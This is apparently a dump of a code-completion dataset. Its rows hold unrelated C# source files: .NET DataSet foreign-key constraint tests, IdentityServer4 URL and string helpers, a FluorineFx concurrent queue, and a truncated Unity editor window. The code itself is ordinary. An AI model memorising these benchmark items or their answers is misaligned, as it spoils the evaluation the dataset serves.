context stringlengths 2.52k 185k | gt stringclasses 1
value |
|---|---|
// Licensed to the .NET Foundation under one or more agreements.
// See the LICENSE file in the project root for more information.
// Copyright (c) 2004 Mainsoft Co.
//
// Permission is hereby granted, free of charge, to any person obtaining
// a copy of this software and associated documentation files (the
// "Software"), to deal in the Software without restriction, including
// without limitation the rights to use, copy, modify, merge, publish,
// distribute, sublicense, and/or sell copies of the Software, and to
// permit persons to whom the Software is furnished to do so, subject to
// the following conditions:
//
// The above copyright notice and this permission notice shall be
// included in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
//
using Xunit;
namespace System.Data.Tests
{
public class ForeignKeyConstraintTest2
{
[Fact]
public void Columns()
{
//int RowCount;
var ds = new DataSet();
DataTable dtParent = DataProvider.CreateParentDataTable();
DataTable dtChild = DataProvider.CreateChildDataTable();
ds.Tables.Add(dtParent);
ds.Tables.Add(dtChild);
ForeignKeyConstraint fc = null;
fc = new ForeignKeyConstraint(dtParent.Columns[0], dtChild.Columns[0]);
// Columns
Assert.Equal(dtChild.Columns[0], fc.Columns[0]);
// Columns count
Assert.Equal(1, fc.Columns.Length);
}
[Fact]
public void Equals()
{
var ds = new DataSet();
DataTable dtParent = DataProvider.CreateParentDataTable();
DataTable dtChild = DataProvider.CreateChildDataTable();
ds.Tables.Add(dtParent);
ds.Tables.Add(dtChild);
dtParent.PrimaryKey = new DataColumn[] { dtParent.Columns[0] };
ds.EnforceConstraints = true;
ForeignKeyConstraint fc1, fc2;
fc1 = new ForeignKeyConstraint(dtParent.Columns[0], dtChild.Columns[0]);
fc2 = new ForeignKeyConstraint(dtParent.Columns[0], dtChild.Columns[1]);
// different columnn
Assert.Equal(false, fc1.Equals(fc2));
//Two System.Data.ForeignKeyConstraint are equal if they constrain the same columns.
// same column
fc2 = new ForeignKeyConstraint(dtParent.Columns[0], dtChild.Columns[0]);
Assert.Equal(true, fc1.Equals(fc2));
}
[Fact]
public void RelatedColumns()
{
var ds = new DataSet();
DataTable dtParent = DataProvider.CreateParentDataTable();
DataTable dtChild = DataProvider.CreateChildDataTable();
ds.Tables.Add(dtParent);
ds.Tables.Add(dtChild);
ForeignKeyConstraint fc = null;
fc = new ForeignKeyConstraint(dtParent.Columns[0], dtChild.Columns[0]);
// RelatedColumns
Assert.Equal(new DataColumn[] { dtParent.Columns[0] }, fc.RelatedColumns);
}
[Fact]
public void RelatedTable()
{
var ds = new DataSet();
DataTable dtParent = DataProvider.CreateParentDataTable();
DataTable dtChild = DataProvider.CreateChildDataTable();
ds.Tables.Add(dtParent);
ds.Tables.Add(dtChild);
ForeignKeyConstraint fc = null;
fc = new ForeignKeyConstraint(dtParent.Columns[0], dtChild.Columns[0]);
// RelatedTable
Assert.Equal(dtParent, fc.RelatedTable);
}
[Fact]
public void Table()
{
var ds = new DataSet();
DataTable dtParent = DataProvider.CreateParentDataTable();
DataTable dtChild = DataProvider.CreateChildDataTable();
ds.Tables.Add(dtParent);
ds.Tables.Add(dtChild);
ForeignKeyConstraint fc = null;
fc = new ForeignKeyConstraint(dtParent.Columns[0], dtChild.Columns[0]);
// Table
Assert.Equal(dtChild, fc.Table);
}
[Fact]
public new void ToString()
{
DataTable dtParent = DataProvider.CreateParentDataTable();
DataTable dtChild = DataProvider.CreateChildDataTable();
ForeignKeyConstraint fc = null;
fc = new ForeignKeyConstraint(dtParent.Columns[0], dtChild.Columns[0]);
// ToString - default
Assert.Equal(string.Empty, fc.ToString());
fc = new ForeignKeyConstraint("myConstraint", dtParent.Columns[0], dtChild.Columns[0]);
// Tostring - Constraint name
Assert.Equal("myConstraint", fc.ToString());
}
[Fact]
public void acceptRejectRule()
{
DataSet ds = getNewDataSet();
ForeignKeyConstraint fc = new ForeignKeyConstraint(ds.Tables[0].Columns[0], ds.Tables[1].Columns[0]);
fc.AcceptRejectRule = AcceptRejectRule.Cascade;
ds.Tables[1].Constraints.Add(fc);
//Update the parent
ds.Tables[0].Rows[0]["ParentId"] = 777;
Assert.Equal(true, ds.Tables[1].Select("ParentId=777").Length > 0);
ds.Tables[0].RejectChanges();
Assert.Equal(0, ds.Tables[1].Select("ParentId=777").Length);
}
private DataSet getNewDataSet()
{
DataSet ds1 = new DataSet();
ds1.Tables.Add(DataProvider.CreateParentDataTable());
ds1.Tables.Add(DataProvider.CreateChildDataTable());
// ds1.Tables.Add(DataProvider.CreateChildDataTable());
ds1.Tables[0].PrimaryKey = new DataColumn[] { ds1.Tables[0].Columns[0] };
return ds1;
}
[Fact]
public void constraintName()
{
var ds = new DataSet();
DataTable dtParent = DataProvider.CreateParentDataTable();
DataTable dtChild = DataProvider.CreateChildDataTable();
ds.Tables.Add(dtParent);
ds.Tables.Add(dtChild);
ForeignKeyConstraint fc = null;
fc = new ForeignKeyConstraint(dtParent.Columns[0], dtChild.Columns[0]);
// default
Assert.Equal(string.Empty, fc.ConstraintName);
fc.ConstraintName = "myConstraint";
// set/get
Assert.Equal("myConstraint", fc.ConstraintName);
}
[Fact]
public void ctor_ParentColChildCol()
{
DataTable dtParent = DataProvider.CreateParentDataTable();
DataTable dtChild = DataProvider.CreateChildDataTable();
var ds = new DataSet();
ds.Tables.Add(dtChild);
ds.Tables.Add(dtParent);
ForeignKeyConstraint fc = null;
// Ctor ArgumentException
AssertExtensions.Throws<ArgumentException>(null, () =>
{
fc = new ForeignKeyConstraint(new DataColumn[] { dtParent.Columns[0] }, new DataColumn[] { dtChild.Columns[0], dtChild.Columns[1] });
});
fc = new ForeignKeyConstraint(new DataColumn[] { dtParent.Columns[0], dtParent.Columns[1] }, new DataColumn[] { dtChild.Columns[0], dtChild.Columns[2] });
// Add constraint to table - ArgumentException
AssertExtensions.Throws<ArgumentException>(null, () =>
{
dtChild.Constraints.Add(fc);
});
// Child Table Constraints Count - two columnns
Assert.Equal(0, dtChild.Constraints.Count);
// Parent Table Constraints Count - two columnns
Assert.Equal(1, dtParent.Constraints.Count);
// DataSet relations Count
Assert.Equal(0, ds.Relations.Count);
dtParent.Constraints.Clear();
dtChild.Constraints.Clear();
fc = new ForeignKeyConstraint(new DataColumn[] { dtParent.Columns[0] }, new DataColumn[] { dtChild.Columns[0] });
// Ctor
Assert.Equal(false, fc == null);
// Child Table Constraints Count
Assert.Equal(0, dtChild.Constraints.Count);
// Parent Table Constraints Count
Assert.Equal(0, dtParent.Constraints.Count);
// DataSet relations Count
Assert.Equal(0, ds.Relations.Count);
dtChild.Constraints.Add(fc);
// Child Table Constraints Count, Add
Assert.Equal(1, dtChild.Constraints.Count);
// Parent Table Constraints Count, Add
Assert.Equal(1, dtParent.Constraints.Count);
// DataSet relations Count, Add
Assert.Equal(0, ds.Relations.Count);
// Parent Table Constraints type
Assert.Equal(typeof(UniqueConstraint), dtParent.Constraints[0].GetType());
// Parent Table Constraints type
Assert.Equal(typeof(ForeignKeyConstraint), dtChild.Constraints[0].GetType());
// Parent Table Primary key
Assert.Equal(0, dtParent.PrimaryKey.Length);
dtChild.Constraints.Clear();
dtParent.Constraints.Clear();
ds.Relations.Add(new DataRelation("myRelation", dtParent.Columns[0], dtChild.Columns[0]));
// Relation - Child Table Constraints Count
Assert.Equal(1, dtChild.Constraints.Count);
// Relation - Parent Table Constraints Count
Assert.Equal(1, dtParent.Constraints.Count);
// Relation - Parent Table Constraints type
Assert.Equal(typeof(UniqueConstraint), dtParent.Constraints[0].GetType());
// Relation - Parent Table Constraints type
Assert.Equal(typeof(ForeignKeyConstraint), dtChild.Constraints[0].GetType());
// Relation - Parent Table Primary key
Assert.Equal(0, dtParent.PrimaryKey.Length);
}
[Fact]
public void ctor_NameParentColChildCol()
{
DataTable dtParent = DataProvider.CreateParentDataTable();
DataTable dtChild = DataProvider.CreateChildDataTable();
ForeignKeyConstraint fc = null;
fc = new ForeignKeyConstraint("myForeignKey", dtParent.Columns[0], dtChild.Columns[0]);
// Ctor
Assert.Equal(false, fc == null);
// Ctor - name
Assert.Equal("myForeignKey", fc.ConstraintName);
}
[Fact]
public void ctor_NameParentColsChildCols()
{
DataTable dtParent = DataProvider.CreateParentDataTable();
DataTable dtChild = DataProvider.CreateChildDataTable();
ForeignKeyConstraint fc = null;
fc = new ForeignKeyConstraint("myForeignKey", new DataColumn[] { dtParent.Columns[0] }, new DataColumn[] { dtChild.Columns[0] });
// Ctor
Assert.Equal(false, fc == null);
// Ctor - name
Assert.Equal("myForeignKey", fc.ConstraintName);
}
[Fact]
public void deleteRule()
{
var ds = new DataSet();
DataTable dtParent = DataProvider.CreateParentDataTable();
DataTable dtChild = DataProvider.CreateChildDataTable();
ds.Tables.Add(dtParent);
ds.Tables.Add(dtChild);
dtParent.PrimaryKey = new DataColumn[] { dtParent.Columns[0] };
ds.EnforceConstraints = true;
ForeignKeyConstraint fc = null;
fc = new ForeignKeyConstraint(dtParent.Columns[0], dtChild.Columns[0]);
//checking default
// Default
Assert.Equal(Rule.Cascade, fc.DeleteRule);
//checking set/get
foreach (Rule rule in Enum.GetValues(typeof(Rule)))
{
// Set/Get - rule
fc.DeleteRule = rule;
Assert.Equal(rule, fc.DeleteRule);
}
dtChild.Constraints.Add(fc);
//checking delete rule
// Rule = None, Delete Exception
fc.DeleteRule = Rule.None;
//Exception = "Cannot delete this row because constraints are enforced on relation Constraint1, and deleting this row will strand child rows."
Assert.Throws<InvalidConstraintException>(() =>
{
dtParent.Rows.Find(1).Delete();
});
// Rule = None, Delete succeed
fc.DeleteRule = Rule.None;
foreach (DataRow dr in dtChild.Select("ParentId = 1"))
dr.Delete();
dtParent.Rows.Find(1).Delete();
Assert.Equal(0, dtParent.Select("ParentId=1").Length);
// Rule = Cascade
fc.DeleteRule = Rule.Cascade;
dtParent.Rows.Find(2).Delete();
Assert.Equal(0, dtChild.Select("ParentId=2").Length);
// Rule = SetNull
DataSet ds1 = new DataSet();
ds1.Tables.Add(DataProvider.CreateParentDataTable());
ds1.Tables.Add(DataProvider.CreateChildDataTable());
ForeignKeyConstraint fc1 = new ForeignKeyConstraint(ds1.Tables[0].Columns[0], ds1.Tables[1].Columns[1]);
fc1.DeleteRule = Rule.SetNull;
ds1.Tables[1].Constraints.Add(fc1);
Assert.Equal(0, ds1.Tables[1].Select("ChildId is null").Length);
ds1.Tables[0].PrimaryKey = new DataColumn[] { ds1.Tables[0].Columns[0] };
ds1.Tables[0].Rows.Find(3).Delete();
ds1.Tables[0].AcceptChanges();
ds1.Tables[1].AcceptChanges();
DataRow[] arr = ds1.Tables[1].Select("ChildId is null");
/*foreach (DataRow dr in arr)
{
Assert.Equal(null, dr["ChildId"]);
}*/
Assert.Equal(4, arr.Length);
// Rule = SetDefault
//fc.DeleteRule = Rule.SetDefault;
ds1 = new DataSet();
ds1.Tables.Add(DataProvider.CreateParentDataTable());
ds1.Tables.Add(DataProvider.CreateChildDataTable());
fc1 = new ForeignKeyConstraint(ds1.Tables[0].Columns[0], ds1.Tables[1].Columns[1]);
fc1.DeleteRule = Rule.SetDefault;
ds1.Tables[1].Constraints.Add(fc1);
ds1.Tables[1].Columns[1].DefaultValue = "777";
//Add new row --> in order to apply the forigen key rules
DataRow dr2 = ds1.Tables[0].NewRow();
dr2["ParentId"] = 777;
ds1.Tables[0].Rows.Add(dr2);
ds1.Tables[0].PrimaryKey = new DataColumn[] { ds1.Tables[0].Columns[0] };
ds1.Tables[0].Rows.Find(3).Delete();
Assert.Equal(4, ds1.Tables[1].Select("ChildId=777").Length);
}
[Fact]
public void extendedProperties()
{
DataTable dtParent = DataProvider.CreateParentDataTable();
DataTable dtChild = DataProvider.CreateParentDataTable();
ForeignKeyConstraint fc = null;
fc = new ForeignKeyConstraint(dtParent.Columns[0], dtChild.Columns[0]);
PropertyCollection pc = fc.ExtendedProperties;
// Checking ExtendedProperties default
Assert.Equal(true, fc != null);
// Checking ExtendedProperties count
Assert.Equal(0, pc.Count);
}
[Fact]
public void ctor_DclmDclm()
{
DataTable dtParent = DataProvider.CreateParentDataTable();
DataTable dtChild = DataProvider.CreateChildDataTable();
var ds = new DataSet();
ds.Tables.Add(dtChild);
ds.Tables.Add(dtParent);
ForeignKeyConstraint fc = null;
fc = new ForeignKeyConstraint(dtParent.Columns[0], dtChild.Columns[0]);
Assert.False(fc == null);
Assert.Equal(0, dtChild.Constraints.Count);
Assert.Equal(0, dtParent.Constraints.Count);
Assert.Equal(0, ds.Relations.Count);
dtChild.Constraints.Add(fc);
Assert.Equal(1, dtChild.Constraints.Count);
Assert.Equal(1, dtParent.Constraints.Count);
Assert.Equal(0, ds.Relations.Count);
Assert.Equal(typeof(UniqueConstraint), dtParent.Constraints[0].GetType());
Assert.Equal(typeof(ForeignKeyConstraint), dtChild.Constraints[0].GetType());
Assert.Equal(0, dtParent.PrimaryKey.Length);
dtChild.Constraints.Clear();
dtParent.Constraints.Clear();
ds.Relations.Add(new DataRelation("myRelation", dtParent.Columns[0], dtChild.Columns[0]));
Assert.Equal(1, dtChild.Constraints.Count);
Assert.Equal(1, dtParent.Constraints.Count);
Assert.Equal(typeof(UniqueConstraint), dtParent.Constraints[0].GetType());
Assert.Equal(typeof(ForeignKeyConstraint), dtChild.Constraints[0].GetType());
Assert.Equal(0, dtParent.PrimaryKey.Length);
}
[Fact]
public void ctor_DclmDclm1()
{
Assert.Throws<NullReferenceException>(() =>
{
ForeignKeyConstraint fc = new ForeignKeyConstraint(null, (DataColumn)null);
});
}
[Fact]
public void ctor_DclmDclm2()
{
AssertExtensions.Throws<ArgumentException>(null, () =>
{
var ds = new DataSet();
ds.Tables.Add(DataProvider.CreateParentDataTable());
ds.Tables.Add(DataProvider.CreateChildDataTable());
ds.Tables["Parent"].Columns["ParentId"].Expression = "2";
ForeignKeyConstraint fc = new ForeignKeyConstraint(ds.Tables[0].Columns[0], ds.Tables[1].Columns[0]);
});
}
[Fact]
public void ctor_DclmDclm3()
{
AssertExtensions.Throws<ArgumentException>(null, () =>
{
var ds = new DataSet();
ds.Tables.Add(DataProvider.CreateParentDataTable());
ds.Tables.Add(DataProvider.CreateChildDataTable());
ds.Tables["Child"].Columns["ParentId"].Expression = "2";
ForeignKeyConstraint fc = new ForeignKeyConstraint(ds.Tables[0].Columns[0], ds.Tables[1].Columns[0]);
});
}
[Fact]
public void UpdateRule1()
{
DataSet ds = GetNewDataSet();
ForeignKeyConstraint fc = new ForeignKeyConstraint(ds.Tables[0].Columns[0], ds.Tables[1].Columns[0]);
fc.UpdateRule = Rule.Cascade;
ds.Tables[1].Constraints.Add(fc);
//Changing parent row
ds.Tables[0].Rows.Find(1)["ParentId"] = 8;
ds.Tables[0].AcceptChanges();
ds.Tables[1].AcceptChanges();
//Checking the table
Assert.True(ds.Tables[1].Select("ParentId=8").Length > 0);
}
[Fact]
public void UpdateRule2()
{
Assert.Throws<ConstraintException>(() =>
{
DataSet ds = GetNewDataSet();
ds.Tables[0].PrimaryKey = null;
ForeignKeyConstraint fc = new ForeignKeyConstraint(ds.Tables[0].Columns[0], ds.Tables[1].Columns[0]);
fc.UpdateRule = Rule.None;
ds.Tables[1].Constraints.Add(fc);
//Changing parent row
ds.Tables[0].Rows[0]["ParentId"] = 5;
/*ds.Tables[0].AcceptChanges();
ds.Tables[1].AcceptChanges();
//Checking the table
Compare(ds.Tables[1].Select("ParentId=8").Length ,0);*/
});
}
[Fact]
public void UpdateRule3()
{
DataSet ds = GetNewDataSet();
ForeignKeyConstraint fc = new ForeignKeyConstraint(ds.Tables[0].Columns[0], ds.Tables[1].Columns[1]);
fc.UpdateRule = Rule.SetDefault;
ds.Tables[1].Constraints.Add(fc);
//Changing parent row
ds.Tables[1].Columns[1].DefaultValue = "777";
//Add new row --> in order to apply the forigen key rules
DataRow dr = ds.Tables[0].NewRow();
dr["ParentId"] = 777;
ds.Tables[0].Rows.Add(dr);
ds.Tables[0].Rows.Find(1)["ParentId"] = 8;
ds.Tables[0].AcceptChanges();
ds.Tables[1].AcceptChanges();
//Checking the table
Assert.True(ds.Tables[1].Select("ChildId=777").Length > 0);
}
[Fact]
public void UpdateRule4()
{
DataSet ds = GetNewDataSet();
ForeignKeyConstraint fc = new ForeignKeyConstraint(ds.Tables[0].Columns[0], ds.Tables[1].Columns[0]);
fc.UpdateRule = Rule.SetNull;
ds.Tables[1].Constraints.Add(fc);
//Changing parent row
ds.Tables[0].Rows.Find(1)["ParentId"] = 8;
ds.Tables[0].AcceptChanges();
ds.Tables[1].AcceptChanges();
//Checking the table
Assert.True(ds.Tables[1].Select("ParentId is null").Length > 0);
}
private DataSet GetNewDataSet()
{
DataSet ds1 = new DataSet();
ds1.Tables.Add(DataProvider.CreateParentDataTable());
ds1.Tables.Add(DataProvider.CreateChildDataTable());
ds1.Tables[0].PrimaryKey = new DataColumn[] { ds1.Tables[0].Columns[0] };
return ds1;
}
[Fact]
public void ForeignConstraint_DateTimeModeTest()
{
DataTable t1 = new DataTable("t1");
t1.Columns.Add("col", typeof(DateTime));
DataTable t2 = new DataTable("t2");
t2.Columns.Add("col", typeof(DateTime));
t2.Columns[0].DateTimeMode = DataSetDateTime.Unspecified;
// DataColumn type shud match, and no exception shud be raised
t2.Constraints.Add("fk", t1.Columns[0], t2.Columns[0]);
t2.Constraints.Clear();
t2.Columns[0].DateTimeMode = DataSetDateTime.Local;
try
{
// DataColumn type shud not match, and exception shud be raised
t2.Constraints.Add("fk", t1.Columns[0], t2.Columns[0]);
Assert.False(true);
}
catch (InvalidOperationException e) { }
}
[Fact]
public void ParentChildSameColumn()
{
DataTable dataTable = new DataTable("Menu");
DataColumn colID = dataTable.Columns.Add("ID", typeof(int));
DataColumn colCulture = dataTable.Columns.Add("Culture", typeof(string));
dataTable.Columns.Add("Name", typeof(string));
DataColumn colParentID = dataTable.Columns.Add("ParentID", typeof(int));
// table PK (ID, Culture)
dataTable.Constraints.Add(new UniqueConstraint(
"MenuPK",
new DataColumn[] { colID, colCulture },
true));
// add a FK referencing the same table: (ID, Culture) <- (ParentID, Culture)
ForeignKeyConstraint fkc = new ForeignKeyConstraint(
"MenuParentFK",
new DataColumn[] { colID, colCulture },
new DataColumn[] { colParentID, colCulture });
dataTable.Constraints.Add(fkc);
}
}
}
| |
// Copyright (c) Brock Allen & Dominick Baier. All rights reserved.
// Licensed under the Apache License, Version 2.0. See LICENSE in the project root for license information.
using Microsoft.AspNetCore.Http;
using Microsoft.AspNetCore.WebUtilities;
using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.Diagnostics;
using System.Linq;
using System.Text;
using System.Text.Encodings.Web;
namespace IdentityServer4.Extensions
{
internal static class StringExtensions
{
[DebuggerStepThrough]
public static string ToSpaceSeparatedString(this IEnumerable<string> list)
{
if (list == null)
{
return "";
}
var sb = new StringBuilder(100);
foreach (var element in list)
{
sb.Append(element + " ");
}
return sb.ToString().Trim();
}
[DebuggerStepThrough]
public static IEnumerable<string> FromSpaceSeparatedString(this string input)
{
input = input.Trim();
return input.Split(new[] { ' ' }, StringSplitOptions.RemoveEmptyEntries).ToList();
}
public static List<string> ParseScopesString(this string scopes)
{
if (scopes.IsMissing())
{
return null;
}
scopes = scopes.Trim();
var parsedScopes = scopes.Split(new[] { ' ' }, StringSplitOptions.RemoveEmptyEntries).Distinct().ToList();
if (parsedScopes.Any())
{
parsedScopes.Sort();
return parsedScopes;
}
return null;
}
[DebuggerStepThrough]
public static bool IsMissing(this string value)
{
return string.IsNullOrWhiteSpace(value);
}
[DebuggerStepThrough]
public static bool IsMissingOrTooLong(this string value, int maxLength)
{
if (string.IsNullOrWhiteSpace(value))
{
return true;
}
if (value.Length > maxLength)
{
return true;
}
return false;
}
[DebuggerStepThrough]
public static bool IsPresent(this string value)
{
return !string.IsNullOrWhiteSpace(value);
}
[DebuggerStepThrough]
public static string EnsureLeadingSlash(this string url)
{
if (!url.StartsWith("/"))
{
return "/" + url;
}
return url;
}
[DebuggerStepThrough]
public static string EnsureTrailingSlash(this string url)
{
if (!url.EndsWith("/"))
{
return url + "/";
}
return url;
}
[DebuggerStepThrough]
public static string RemoveLeadingSlash(this string url)
{
if (url != null && url.StartsWith("/"))
{
url = url.Substring(1);
}
return url;
}
[DebuggerStepThrough]
public static string RemoveTrailingSlash(this string url)
{
if (url != null && url.EndsWith("/"))
{
url = url.Substring(0, url.Length - 1);
}
return url;
}
[DebuggerStepThrough]
public static string CleanUrlPath(this string url)
{
if (String.IsNullOrWhiteSpace(url)) url = "/";
if (url != "/" && url.EndsWith("/"))
{
url = url.Substring(0, url.Length - 1);
}
return url;
}
[DebuggerStepThrough]
public static bool IsLocalUrl(this string url)
{
if (string.IsNullOrEmpty(url))
{
return false;
}
// Allows "/" or "/foo" but not "//" or "/\".
if (url[0] == '/')
{
// url is exactly "/"
if (url.Length == 1)
{
return true;
}
// url doesn't start with "//" or "/\"
if (url[1] != '/' && url[1] != '\\')
{
return true;
}
return false;
}
// Allows "~/" or "~/foo" but not "~//" or "~/\".
if (url[0] == '~' && url.Length > 1 && url[1] == '/')
{
// url is exactly "~/"
if (url.Length == 2)
{
return true;
}
// url doesn't start with "~//" or "~/\"
if (url[2] != '/' && url[2] != '\\')
{
return true;
}
return false;
}
return false;
}
[DebuggerStepThrough]
public static string AddQueryString(this string url, string query)
{
if (!url.Contains("?"))
{
url += "?";
}
else if (!url.EndsWith("&"))
{
url += "&";
}
return url + query;
}
[DebuggerStepThrough]
public static string AddQueryString(this string url, string name, string value)
{
return url.AddQueryString(name + "=" + UrlEncoder.Default.Encode(value));
}
[DebuggerStepThrough]
public static string AddHashFragment(this string url, string query)
{
if (!url.Contains("#"))
{
url += "#";
}
return url + query;
}
[DebuggerStepThrough]
public static NameValueCollection ReadQueryStringAsNameValueCollection(this string url)
{
if (url != null)
{
var idx = url.IndexOf('?');
if (idx >= 0)
{
url = url.Substring(idx + 1);
}
var query = QueryHelpers.ParseNullableQuery(url);
if (query != null)
{
return query.AsNameValueCollection();
}
}
return new NameValueCollection();
}
public static string GetOrigin(this string url)
{
if (url != null)
{
var uri = new Uri(url);
if (uri.Scheme == "http" || uri.Scheme == "https")
{
return $"{uri.Scheme}://{uri.Authority}";
}
}
return null;
}
}
}
| |
/*
FluorineFx open source library
Copyright (C) 2007 Zoltan Csibi, zoltan@TheSilentGroup.com, FluorineFx.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
using System;
using System.Collections;
using System.Collections.Generic;
using FluorineFx.Util;
namespace FluorineFx.Collections.Generic
{
/// <summary>
/// A thread-safe variable size first-in-first-out (FIFO) collection of instances of the same type.
/// </summary>
/// <typeparam name="T">The type of the elements in the queue.</typeparam>
public class ConcurrentLinkedQueue<T> : IQueue<T>
{
private Node<T> _head;
private Node<T> _tail;
private object _objLock = new object();
/// <summary>
/// A node object that holds a value and a pointer to another node object.
/// </summary>
/// <typeparam name="TNode">The type of the value held.</typeparam>
internal class Node<TNode>
{
/// <summary>
/// The value held by this node.
/// </summary>
public TNode Item;
/// <summary>
/// The next node in the link chain.
/// </summary>
/// <remarks>
/// We don't make this a property because then it couldn't be used
/// as a pass-by-ref parameter, which is where it will spend most
/// of it's time.
/// </remarks>
public Node<TNode> Next;
/// <summary>
/// Creates a new <see cref="Node{TNode}" />.
/// </summary>
public Node()
{
}
/// <summary>
/// Creates a new <see cref="Node{T}" /> with the given item as the value.
/// </summary>
/// <param name="item">the item to store</param>
public Node(TNode item)
{
Item = item;
}
}
/// <summary>
/// Initializes a new instance of the ConcurrentLinkedQueue class.
/// </summary>
public ConcurrentLinkedQueue()
{
_tail = _head = new Node<T>();
}
/// <summary>
/// Initializes a new instance of the ConcurrentLinkedQueue class.
/// </summary>
/// <param name="elements">The list of objects to add.</param>
public ConcurrentLinkedQueue(IEnumerable<T> elements)
{
_tail = _head = new Node<T>();
AddRange(elements);
}
/// <summary>
/// Inserts the specified element at the tail of this queue.
/// </summary>
/// <param name="item">The item to insert in the queue.</param>
public void Enqueue(T item)
{
Node<T> oldTail = null;
Node<T> oldTailNext;
Node<T> newNode = new Node<T>(item);
bool newNodeWasAdded = false;
while(!newNodeWasAdded)
{
oldTail = _tail;
oldTailNext = oldTail.Next;
if(_tail == oldTail)
{
if(oldTailNext == null)
{
newNodeWasAdded = ThreadingUtils.CompareAndSwap(ref _tail.Next, null, newNode);
}
else
{
ThreadingUtils.CompareAndSwap(ref _tail, oldTail, oldTailNext);
}
}
}
ThreadingUtils.CompareAndSwap(ref _tail, oldTail, newNode);
}
/// <summary>
/// Removes an item from the queue.
/// </summary>
/// <param name="item">The dequeued item.</param>
/// <returns>
/// The dequeued item, or the default value for the element type if the queue was empty.
/// </returns>
public bool Dequeue(out T item)
{
item = default(T);
Node<T> oldHead = null;
bool haveAdvancedHead = false;
while(!haveAdvancedHead)
{
oldHead = _head;
Node<T> oldTail = _tail;
Node<T> oldHeadNext = oldHead.Next;
if(oldHead == _head)
{
if(oldHead == oldTail)
{
if(oldHeadNext == null)
return false;
ThreadingUtils.CompareAndSwap(ref _tail, oldTail, oldHeadNext);
}
else
{
item = oldHeadNext.Item;
haveAdvancedHead = ThreadingUtils.CompareAndSwap(ref _head, oldHead, oldHeadNext);
}
}
}
return true;
}
/// <summary>
/// Removes an item from the queue.
/// </summary>
/// <returns>The dequeued item.</returns>
public T Dequeue()
{
T result;
Dequeue(out result);
return result;
}
/// <summary>
/// Adds all of the elements of the supplied
/// <paramref name="elements"/>list to the end of this list.
/// </summary>
/// <param name="elements">The list of objects to add.</param>
public void AddRange(IEnumerable<T> elements)
{
foreach (T obj in elements)
{
Enqueue(obj);
}
}
/// <summary>
/// Removes all elements from the queue.
/// </summary>
public void Clear()
{
T result;
while (Dequeue(out result))
;
}
/// <summary>
/// Returns the first actual (non-header) node on list.
/// </summary>
/// <returns>First node.</returns>
Node<T> First()
{
for (; ; )
{
Node<T> h = _head;
Node<T> t = _tail;
Node<T> first = h.Next;
if (h == _head)
{
if (h == t)
{
if (first == null)
return null;
else
ThreadingUtils.CompareAndSwap(ref _tail, t, first);
}
else
{
if (first.Item != null)
return first;
else // remove deleted node and continue
ThreadingUtils.CompareAndSwap(ref _head, h, first);
}
}
}
}
#region ICollection Members
/// <summary>
/// Not implemented.
/// </summary>
/// <param name="array"></param>
/// <param name="index"></param>
public void CopyTo(Array array, int index)
{
throw new NotImplementedException("The method or operation is not implemented.");
}
/// <summary>
/// Returns the number of elements in this queue.
/// </summary>
/// <remarks>
/// Beware that, unlike in most collections, this method is not a constant-time operation. Because of the
/// asynchronous nature of these queues, determining the current number of elements requires an O(n) traversal.
/// </remarks>
public int Count
{
get
{
int count = 0;
for (Node<T> p = First(); p != null; p = p.Next)
{
if (p.Item != null)
{
// Collections.size() spec says to max out
if (++count == int.MaxValue)
break;
}
}
return count;
}
}
/// <summary>
/// Gets a value indicating whether access to the ConcurrentLinkedQueue is synchronized (thread safe).
/// </summary>
public bool IsSynchronized
{
get { return true; }
}
/// <summary>
/// Gets an object that can be used to synchronize access to the ConcurrentLinkedQueue.
/// </summary>
public object SyncRoot
{
get{ return _objLock; }
}
#endregion
#region IEnumerable Members
/// <summary>
/// Returns an enumerator that iterates through a collection.
/// </summary>
/// <returns>
/// An <see cref="T:System.Collections.IEnumerator"/> object that can be used to iterate through the collection.
/// </returns>
public IEnumerator GetEnumerator()
{
return new Enumerator(this);
}
#endregion
#region IEnumerable<T> Members
IEnumerator<T> IEnumerable<T>.GetEnumerator()
{
return new Enumerator(this);
}
#endregion
internal struct Enumerator : IEnumerator<T>, IDisposable, IEnumerator
{
ConcurrentLinkedQueue<T> _queue;
/// <summary>
/// Next node to return item for.
/// </summary>
Node<T> _nextNode;
/// <summary>
/// NextItem holds on to item fields because once we claim that an element exists we must return it
/// </summary>
T _nextItem;
internal Enumerator(ConcurrentLinkedQueue<T> queue)
{
_queue = queue;
_nextNode = null;
_nextItem = default(T);
}
public void Dispose()
{
_nextNode = null;
_nextItem = default(T);
_queue = null;
}
public bool MoveNext()
{
Object x = _nextItem;
Node<T> p = (_nextNode == null) ? _queue.First() : _nextNode.Next;
for (; ; )
{
if (p == null)
{
_nextNode = null;
_nextItem = default(T);
return false;
}
T item = p.Item;
if (item != null)
{
_nextNode = p;
_nextItem = item;
return true;
}
else // skip over nulls
p = p.Next;
}
}
public T Current
{
get
{
if( _nextNode == null )
throw new InvalidOperationException();
return _nextItem;
}
}
object IEnumerator.Current
{
get{ return Current; }
}
void IEnumerator.Reset()
{
_nextNode = null;
_nextItem = default(T);
}
}
}
}
| |
using System.Collections.Generic;
using UnityEditor;
using UnityEditor.IMGUI.Controls;
namespace UnityEngine.AssetBundles
{
public class AssetBundleBrowserMain : EditorWindow, IHasCustomMenu
{
public const float kButtonWidth = 150;
enum Mode
{
Browser,
Builder,
Inspect,
}
[SerializeField]
Mode m_Mode;
